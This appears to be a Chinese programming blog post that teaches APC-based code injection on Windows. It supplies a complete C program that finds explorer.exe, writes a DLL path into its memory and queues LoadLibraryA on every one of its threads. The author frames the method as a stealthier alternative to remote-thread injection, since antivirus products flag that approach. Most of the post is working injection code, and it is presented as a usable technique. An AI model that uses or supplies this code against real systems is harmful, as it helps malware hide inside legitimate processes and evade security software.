您的位置:首页 > 编程语言

windows sdk编程系列文章 ---- 利用APC实现向一个运行中的进程注入自己的代码

2013-05-21 11:43 951 查看
理论:

关于APC概念方面的介绍,前面已经有专文详细的说明了,在这里不再重复了。本篇我们主要谈谈利用APC实现向一个运行中的进程注入自己的代码的用法。

向一个运行中的进程注入自己的代码,常见的办法有全局钩子,以及CreateRemoteThread实现的远程线程注入,如今远线程注入已经是泛滥成灾,杀毒软件对于远程线程已经做了检查和警示。

用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。本篇给出的示例为在Explorer里加载自己的dll。

这里首先提到的就是一个API:QueueUserAPC 。原型如下:

DWORD QueueUserAPC(

PAPCFUNC pfnAPC, // APC function

HANDLE hThread,  // handle to thread

ULONG_PTR dwData // APC function parameter

从流程上看QueueUserAPC直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的 APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事, ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问 题,自己动手赋值,可是用户态程序可不好做,怎么办?

实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当 KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例子,目标线程调用 SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了。

如果我们插入的目标线程也是本进程的话,我们就可以调用上面的函数让APC迅速执行,但是这里如果我们要插入的是Explorer进程,最简单的办法就是枚举Explorer中所有线程,全数插入,相信这么多的线程中,总有一个满足执行条件,只要有一个满足条件,我们就成功了。

代码:见光盘InsertApc,代码摘自网络,略作修改。

#define _WIN32_WINNT 0x0400

#define WIN32_LEAN_AND_MEAN   // 从 Windows 头中排除极少使用的资料

#include <windows.h>

#include <Tlhelp32.h>

#include <stdio.h>

#include <stdlib.h>

typedef HANDLE (CALLBACK *OPENTHREAD) (DWORD dwFlag, BOOL bUnknow, DWORD dwThreadId);

typedef struct _TIDLIST

{

    DWORD dwTid ;

    _TIDLIST *pNext ;

}TIDLIST;

DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)

{

    TIDLIST *pCurrentTid = pThreadIdList ;

    HANDLE hThread;

    const char szInjectModName[] = "c:\\sysnap.dll" ;

    DWORD dwLen = strlen(szInjectModName) ;

    HMODULE hDll = GetModuleHandle("Kernel32.dll");

    PVOID param = VirtualAllocEx(hProcess, \

            NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;

    if (param != NULL)

    {

       DWORD dwRet ;

       if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))

       {

            while (pCurrentTid)

            {

                 OPENTHREAD lpfnOpenThread = (OPENTHREAD)::GetProcAddress(hDll, "OpenThread");

                 hThread = lpfnOpenThread(THREAD_ALL_ACCESS,FALSE,pCurrentTid->dwTid);

                if (hThread != NULL)

                {

                    //

                    // 注入DLL到指定进程

                    //

                    QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;

                }

                printf("TID:%d\n", pCurrentTid->dwTid) ;

                pCurrentTid = pCurrentTid->pNext ;

            }

       }

    }

    return 0 ;

}

DWORD GetProcID(const char *szProcessName)

{

    PROCESSENTRY32 pe32 = {0} ;

    pe32.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;

    if (hSnapshot == INVALID_HANDLE_VALUE)

    {

       return 0xFFFFFFFF ;

    }

    if (!Process32First(hSnapshot, &pe32))

    {

       return 0xFFFFFFFF ;

    }

    do

    {

       if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))

       {

            printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);

            return pe32.th32ProcessID ;

       }

    } while(Process32Next(hSnapshot, &pe32));

    return 0xFFFFFFFF ;

}

TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)

{

    TIDLIST *pCurrent = NULL ;

    TIDLIST *pNewMember = NULL ;

    if (pdwTidListHead == NULL)

    {

       return NULL ;

    }

    pCurrent = pdwTidListHead ;

    while (pCurrent != NULL)

    {

       if (pCurrent->pNext == NULL)

       {

            //

            // 定位到链表最后一个元素

            //

            pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

            if (pNewMember != NULL)

            {

                pNewMember->dwTid = dwTid ;

                pNewMember->pNext = NULL ;

                pCurrent->pNext = pNewMember ;

                return pNewMember ;

            }

            else

            {

                return NULL ;

            }

       }

       pCurrent = pCurrent->pNext ;

    }

    return NULL ;

}

int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)

{

    int i = 0 ;

    THREADENTRY32 te32 = {0} ;

    te32.dwSize= sizeof(THREADENTRY32) ;

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;

    if(hSnapshot != INVALID_HANDLE_VALUE)

    {

       if(Thread32First(hSnapshot,&te32))

       {

            do

            {

                if(te32.th32OwnerProcessID==dwPID)

                {

                    if (pdwTidList->dwTid == 0)

                    {

                           pdwTidList->dwTid = te32.th32ThreadID ;

                    }

                    else

                    {

                           if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))

                           {

                                printf("插入失败!\n") ;

                                return 0 ;

                           }

                    }

    

                }

            }while(Thread32Next(hSnapshot,&te32));

       }

    }

    return 1 ;

}

void RemoveTid(TIDLIST *pdwTidListHead)

{

    TIDLIST *pCurrent = NULL ;

    TIDLIST *pNext = NULL ;

    if (pdwTidListHead == NULL)

    {

       return;

    }

    pCurrent = p
a230
dwTidListHead ;

    while (pCurrent != NULL)

    {

    

       pNext = pCurrent->pNext;

       free(pCurrent);

       pCurrent = pNext;

    }

}

int main(int argc, char* argv[])

{

    TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

    if (pTidHead == NULL)

    {

       return 1 ;

    }

    RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;

    DWORD dwPID = 0 ;

    if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)

    {

       printf("进程ID获取失败!\n") ;

       return 1 ;

    }

    //

    // 枚举线程ID

    //

    EnumThreadID(dwPID, pTidHead) ;

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;

    if (hProcess == NULL)

    {

       return 1 ;

    }

    EnumThread(hProcess, pTidHead) ;

    CloseHandle(hProcess);

    RemoveTid(pTidHead);

    return 0;

}

分析:

代码比较简单,步骤如下:

1)根据进程名,获取进程ID,通过遍历所有的进程,比较当前遍历到的进程名是否等于我们参数传递进的进程名,如果是,则返回此进程的ID,否则继续遍历。

2)根据获取的进程ID,打开目标进程。

3)遍历进程内所有的线程模块,将遍历出的线程ID,保存到一个单项链表中。

4)调用QueueUserAPC向链表中的每个线程插入APC。

5)关闭进程句柄。

6)删除链表。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐